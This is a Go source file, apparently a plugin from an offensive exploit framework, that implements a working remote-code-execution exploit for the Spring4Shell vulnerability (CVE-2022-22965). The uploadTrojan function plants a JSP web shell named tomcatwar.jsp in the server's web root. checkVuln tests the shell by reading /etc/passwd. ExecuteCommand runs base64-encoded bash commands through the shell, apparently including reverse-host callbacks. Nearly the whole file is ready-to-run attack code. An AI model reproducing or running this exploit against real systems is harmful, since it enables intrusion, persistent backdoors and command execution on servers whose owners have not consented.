package drops

import (
	"context"
	"encoding/base64"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
	"strings"
	"time"
)

type SpringCve202222965 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp SpringCve202222965
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *SpringCve202222965) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "6662928a-ecde-45c4-8082-c3cf60b073ac",
		VulId:   "60f3b528-6c3b-459d-ab18-601f1274619c",
		Name:    "Spring_CVE_2022_22965-rce",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *SpringCve202222965) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (expData []*expbase.CommandResultEvent, err error) {
	ok, _ := t.checkVuln(ctx, expContext)
	if !ok {
		_, _ = t.uploadTrojan(ctx, expContext)
	}
	ok, _ = t.checkVuln(ctx, expContext)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	//for _, cmd := range expContext.CommandToExecute {
	reqAsset, ok1 := expContext.Target.(*pocbase.RequestAsset)
	req := reqAsset.Req.Clone()
	cmd, _, err := expbase.ReverseHost(req.GetHost(), expContext.CommandToExecute, 10)
	if err != nil {
		return nil, err
	}
	if !ok1 {
		return nil, expbase.ErrEmptyReqAsset
	}

	res := base64.StdEncoding.EncodeToString([]byte(cmd))
	res = `bash -c {echo,` + res + `}|{base64,-d}|{bash,-i}`
	newUrl, err1 := url.Parse(req.GetUrl().String() + `/tomcatwar.jsp?pwd=j&cmd=` + url.QueryEscape(res))
	req.RawRequest.Method = http.MethodGet
	req.RawRequest.URL = newUrl
	req.RawRequest.Header.Set("Accept-Encoding", "gzip")
	resp, err1 := expContext.HttpClient.Do(ctx, req)
	//wg.Wait()

	if err1 != nil {
		return nil, err1
	}
	expData = append(expData, &expbase.CommandResultEvent{
		Request:   *req.RawRequest,
		Response:  *resp.RawResponse,
		EventBase: t.GetEventBase(expContext.Target, t),
		Command:   cmd,
		Result:    resp.GetBody(),
	})
	if err != nil {
		return nil, err
	}
	time.Sleep(time.Second * 1)
	return expData, nil
}
func (t *SpringCve202222965) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}
func (t *SpringCve202222965) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}

func (t *SpringCve202222965) uploadTrojan(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	newUrl, err := url.Parse(req.GetUrl().String() + `/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=`)
	oldUrl := req.RawRequest.URL
	req.RawRequest.Method = http.MethodGet
	req.RawRequest.URL = newUrl
	req.RawRequest.Header.Set("Accept-Encoding", "gzip, deflate")
	req.RawRequest.Header.Set("Accept", "*/*")
	req.RawRequest.Header.Set("Accept-Language", "en")
	req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36")
	req.RawRequest.Header.Set("Connection", "close")
	req.RawRequest.Header.Set("suffix", "%>//")
	req.RawRequest.Header.Set("c1", "Runtime")
	req.RawRequest.Header.Set("c2", "<%")
	req.RawRequest.Header.Set("DNT", "1")
	_, err = expContext.HttpClient.Do(ctx, req)
	if err != nil {
		return nil, err
	}
	req.RawRequest.URL = oldUrl

	time.Sleep(time.Second * 10)
	return nil, nil
}

func (t *SpringCve202222965) checkVuln(ctx context.Context, expContext *expbase.ExpContext) (ok bool, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return false, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	oldUrl := req.RawRequest.URL
	newUrl, err := url.Parse(req.GetUrl().String() + `/tomcatwar.jsp?pwd=j&cmd=cat+/etc/passwd`)
	req.RawRequest.Method = http.MethodGet
	req.RawRequest.URL = newUrl
	req.RawRequest.Header.Set("Accept-Encoding", "gzip, deflate")
	req.RawRequest.Header.Set("Accept", "*/*")
	req.RawRequest.Header.Set("Accept-Language", "en")
	req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36")
	req.RawRequest.Header.Set("Connection", "close")
	req.RawRequest.Header.Set("suffix", "%>//")
	req.RawRequest.Header.Set("c1", "Runtime")
	req.RawRequest.Header.Set("c2", "<%")
	req.RawRequest.Header.Set("DNT", "1")
	resp, err := expContext.HttpClient.Do(ctx, req)
	req.RawRequest.URL = oldUrl
	if err != nil {
		return false, err
	}
	if resp.GetStatus() == 200 && strings.Contains(string(resp.GetBody()), "root:x:0:0:root:") {
		return true, nil
	}
	return false, nil
}
